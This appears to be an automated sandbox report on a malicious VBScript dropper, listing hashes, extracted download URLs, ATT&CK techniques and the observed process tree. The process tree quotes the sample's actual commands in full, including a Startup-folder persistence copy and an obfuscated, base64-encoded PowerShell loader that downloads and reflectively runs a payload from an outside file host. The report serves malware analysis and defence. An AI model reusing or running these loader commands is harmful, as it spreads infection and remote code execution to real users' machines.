61db47c10daf54a56360bbfa26f2127a31fadfc766220384eff41153d31d23fa

General

Target

61db47c10daf54a56360bbfa26f2127a31fadfc766220384eff41153d31d23fa.vbs
Size

12KB
MD5

8825e4591cadaec1fb1d0082f84c2398
SHA1

39fca0a522686f7b9b2b9dc5e5874aebcf231159
SHA256

61db47c10daf54a56360bbfa26f2127a31fadfc766220384eff41153d31d23fa
SHA512

d5b9c70136aaef8ca9aa1dfb32225632b69de90310ba4f9dcf35567ed58cfd6da8a6fbede4714a19ff41310af0e04bc54c7c6a95060840918efc5a31893fa2c9
SSDEEP

96:J86ymyaynXnLbv+mfupmtsgOgjAC9LFgtYif8fTFsgH2vX5bUdnL7vcumuZ4Y5Wx:JttRS/GpqDzj1eUhDH2Rb8RX1GHRkfkx

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
3	4352	WScript.exe
5	4352	WScript.exe
23	5012	powershell.exe
37	5012	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1500	powershell.exe
628	powershell.exe
5012	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5012 set thread context of 1144	5012	powershell.exe	94

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallUtil.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4232	cmd.exe
1896	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1896	PING.EXE

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	3	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	5	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1500	powershell.exe
1500	powershell.exe
628	powershell.exe
628	powershell.exe
5012	powershell.exe
5012	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1500	powershell.exe
Token: SeDebugPrivilege	628	powershell.exe
Token: SeDebugPrivilege	5012	powershell.exe
Token: SeDebugPrivilege	1144	InstallUtil.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4352 wrote to memory of 4232	4352	WScript.exe	82
PID 4352 wrote to memory of 4232	4352	WScript.exe	82
PID 4232 wrote to memory of 1896	4232	cmd.exe	84
PID 4232 wrote to memory of 1896	4232	cmd.exe	84
PID 4232 wrote to memory of 1500	4232	cmd.exe	85
PID 4232 wrote to memory of 1500	4232	cmd.exe	85
PID 4352 wrote to memory of 628	4352	WScript.exe	86
PID 4352 wrote to memory of 628	4352	WScript.exe	86
PID 628 wrote to memory of 5012	628	powershell.exe	88
PID 628 wrote to memory of 5012	628	powershell.exe	88
PID 5012 wrote to memory of 1144	5012	powershell.exe	94
PID 5012 wrote to memory of 1144	5012	powershell.exe	94
PID 5012 wrote to memory of 1144	5012	powershell.exe	94
PID 5012 wrote to memory of 1144	5012	powershell.exe	94
PID 5012 wrote to memory of 1144	5012	powershell.exe	94
PID 5012 wrote to memory of 1144	5012	powershell.exe	94
PID 5012 wrote to memory of 1144	5012	powershell.exe	94
PID 5012 wrote to memory of 1144	5012	powershell.exe	94

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\61db47c10daf54a56360bbfa26f2127a31fadfc766220384eff41153d31d23fa.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:4352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\61db47c10daf54a56360bbfa26f2127a31fadfc766220384eff41153d31d23fa.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4232
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1896
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\61db47c10daf54a56360bbfa26f2127a31fadfc766220384eff41153d31d23fa.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJHBTSE9NZVs0XSskcHNIT01FWzMwXSsnWCcpICgoJ1BoUmltYWdlVXJsJysnID0gZlhZaHR0cHM6Ly8xMDE3LmZpbGVtYWlsLmNvbS9hcGkvZicrJ2lsZS9nZXQ/ZicrJ2lsZWtleT0yJysnQWFfYldvOVJldTQ1dDdCVTFrVmdzZDlwVDlwZ1NTbHZTdEdyblRJQ2ZGaG1US2ozTEM2U1F0SWNPY19UMzV3JnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDk0NTE3NmEwOTA0ZiBmWFk7UGhSJysnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtQaFJpJysnbWFnZUJ5dGVzID0gUGhSd2ViQ2xpZW50LicrJ0Rvd25sb2FkRGF0YShQaFJpbWFnZVVybCk7UGhSaW1hZ2VUZXh0ID0gW1N5Jysnc3RlbS5UZXh0LkVuY28nKydkaW5nXTo6VVRGOC5HZXRTdHJpbmcoUGhSaW1hZ2VCeScrJ3Rlcyk7UGhSc3RhcnQnKydGbGFnID0gZlhZPDxCQVNFNjRfU1RBUlQ+PmZYWTtQaFJlbmRGbGFnID0gZlhZPDwnKydCQVNFNjRfRU5EPj5mWFk7UGhSc3RhcnRJbmQnKydleCA9IFBoUmltYWdlVGV4dC5JJysnbmRlJysneE9mKFBoUnN0YXJ0RmxhZyk7UGhSZW5kSW5kZXggPSBQaFJpbWFnZVRleHQuSW5kZXhPZihQaFJlbmRGbGEnKydnKTtQaFJzdGFydEluZGV4IC1nZSAwIC1hbmQgUGhSZW5kSW5kZXggLWd0IFBoUnN0YXJ0SW5kZXg7UCcrJ2hSc3RhcnRJbmRleCArPSBQaFJzJysndGFydEZsYWcuTGVuZ3RoO1BoUmJhc2U2NExlbmd0aCA9IFBoUmVuZEluZGV4IC0gUGhSc3RhcnRJbmRleDtQaFJiYXNlNjRDb21tYW5kID0gUGhSaW1hZ2VUZXh0LlN1YnN0cmluZyhQaFJzdGFydEluZGV4JysnLCBQaFJiYXNlNjRMZW5ndGgpO1BoUmJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFBoUmJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSB1TFQgRm9yRWFjaC1PYmplY3QgeyBQaFInKydfIH0pWy0xLi4tKFBoUmJhc2U2NENvbW1hbmQuTGVuZ3RoKV07UGhSY29tbWFuZEJ5dGVzID0gW1N5c3QnKydlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhQaFJiJysnYXNlNjRSZXZlcnNlZCk7UGhSbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFBoUmNvbW1hbmRCeXRlcyk7UGhSdmFpTWV0aG9kID0gW2RubGliLklPJysnLkhvbWVdLkdldE1ldGhvZChmWFlWQUlmWFkpO1BoUnZhaU1ldGhvZC5JbnZva2UoUGhSbnVsbCwgQChmWFl0eHQuNzBvMWp6L2VvbS54b2J0YWMuc2VsaWYvLzpzcHR0aGZYWSwgZlhZZGVzJysnYXRpdmFkb2ZYWSwgZlhZZGVzYXRpdmFkb2ZYWSwgZlgnKydZZGVzYXRpdmFkb2ZYWSwgZlhZSW5zdGFsbFV0aWxmWFksIGZYWWRlc2F0aXZhZG9mWCcrJ1ksIGZYWWRlc2F0aXZhZG9mWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWWRlc2F0aXZhZG8nKydmWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWTFmWFksZlhZZGVzYXRpdmFkb2ZYWSkpOycpLlJFcGxBQ0UoKFtjaEFSXTEwMitbY2hBUl04OCtbY2hBUl04OSksW3N0UklOZ11bY2hBUl0zOSkuUkVwbEFDRSgoW2NoQVJdMTE3K1tjaEFSXTc2K1tjaEFSXTg0KSwnfCcpLlJFcGxBQ0UoJ1BoUicsJyQnKSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:628
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $pSHOMe[4]+$psHOME[30]+'X') (('PhRimageUrl'+' = fXYhttps://1017.filemail.com/api/f'+'ile/get?f'+'ilekey=2'+'Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f fXY;PhR'+'webClient = New-Object System.Net.WebClient;PhRi'+'mageBytes = PhRwebClient.'+'DownloadData(PhRimageUrl);PhRimageText = [Sy'+'stem.Text.Enco'+'ding]::UTF8.GetString(PhRimageBy'+'tes);PhRstart'+'Flag = fXY<<BASE64_START>>fXY;PhRendFlag = fXY<<'+'BASE64_END>>fXY;PhRstartInd'+'ex = PhRimageText.I'+'nde'+'xOf(PhRstartFlag);PhRendIndex = PhRimageText.IndexOf(PhRendFla'+'g);PhRstartIndex -ge 0 -and PhRendIndex -gt PhRstartIndex;P'+'hRstartIndex += PhRs'+'tartFlag.Length;PhRbase64Length = PhRendIndex - PhRstartIndex;PhRbase64Command = PhRimageText.Substring(PhRstartIndex'+', PhRbase64Length);PhRbase64Reversed = -join (PhRbase64Command.ToCharArray() uLT ForEach-Object { PhR'+'_ })[-1..-(PhRbase64Command.Length)];PhRcommandBytes = [Syst'+'em.Convert]::FromBase64String(PhRb'+'ase64Reversed);PhRloadedAssembly = [System.Reflection.Assembly]::Load(PhRcommandBytes);PhRvaiMethod = [dnlib.IO'+'.Home].GetMethod(fXYVAIfXY);PhRvaiMethod.Invoke(PhRnull, @(fXYtxt.70o1jz/eom.xobtac.selif//:sptthfXY, fXYdes'+'ativadofXY, fXYdesativadofXY, fX'+'YdesativadofXY, fXYInstallUtilfXY, fXYdesativadofX'+'Y, fXYdesativadofXY,fXYdesativadofXY,fXYdesativadofXY,fXYdesativado'+'fXY,fXYdesativadofXY,fXYdesativadofXY,fXY1fXY,fXYdesativadofXY));').REplACE(([chAR]102+[chAR]88+[chAR]89),[stRINg][chAR]39).REplACE(([chAR]117+[chAR]76+[chAR]84),'|').REplACE('PhR','$') )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5012
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1144

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
bd5940f08d0be56e65e5f2aaf47c538e

SHA1
d7e31b87866e5e383ab5499da64aba50f03e8443

SHA256
2d2f364c75bd2897504249f42cdf1d19374f5230aad68fa9154ea3d03e3031a6

SHA512
c34d10c7e07da44a180fae9889b61f08903aa84e8ddfa80c31c272b1ef9d491b8cec6b8a4c836c3cb1583fe8f4955c6a8db872515de3a9e10eae09610c959406

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d86624ca13a8d62f6946ba39bf9baf1d

SHA1
057084663e406f35a2e6ed26617af0b107a38ed7

SHA256
bcf64dba455bb424525ffc659f33334288d0c4b836917cf6a0fcd3a547de87d0

SHA512
4c9e97ee54450c28dc29935de215e59a2769bf6d829f8b2529e7e604a91aa1c3fb84d16962e4a67b8e201a9887b9e406a9967c65309640b10fcb4694f83b2ffa

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_crm5reng.z1l.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1144-45-0x0000000005C80000-0x0000000005C8A000-memory.dmp

Filesize
40KB

Download
memory/1144-39-0x0000000000400000-0x000000000041A000-memory.dmp

Filesize
104KB

Download
memory/1144-46-0x0000000005D30000-0x0000000005DCC000-memory.dmp

Filesize
624KB

Download
memory/1144-47-0x0000000006380000-0x0000000006924000-memory.dmp

Filesize
5.6MB

Download
memory/1144-48-0x0000000005E40000-0x0000000005EA6000-memory.dmp

Filesize
408KB

Download
memory/1500-16-0x00007FFE56A90000-0x00007FFE57551000-memory.dmp

Filesize
10.8MB

Download
memory/1500-17-0x00007FFE56A90000-0x00007FFE57551000-memory.dmp

Filesize
10.8MB

Download
memory/1500-13-0x00007FFE56A90000-0x00007FFE57551000-memory.dmp

Filesize
10.8MB

Download
memory/1500-12-0x00007FFE56A90000-0x00007FFE57551000-memory.dmp

Filesize
10.8MB

Download
memory/1500-2-0x000001FC23F00000-0x000001FC23F22000-memory.dmp

Filesize
136KB

Download
memory/1500-1-0x00007FFE56A93000-0x00007FFE56A95000-memory.dmp

Filesize
8KB

Download
memory/5012-38-0x00000218F5310000-0x00000218F5468000-memory.dmp

Filesize
1.3MB

Download

Analysis

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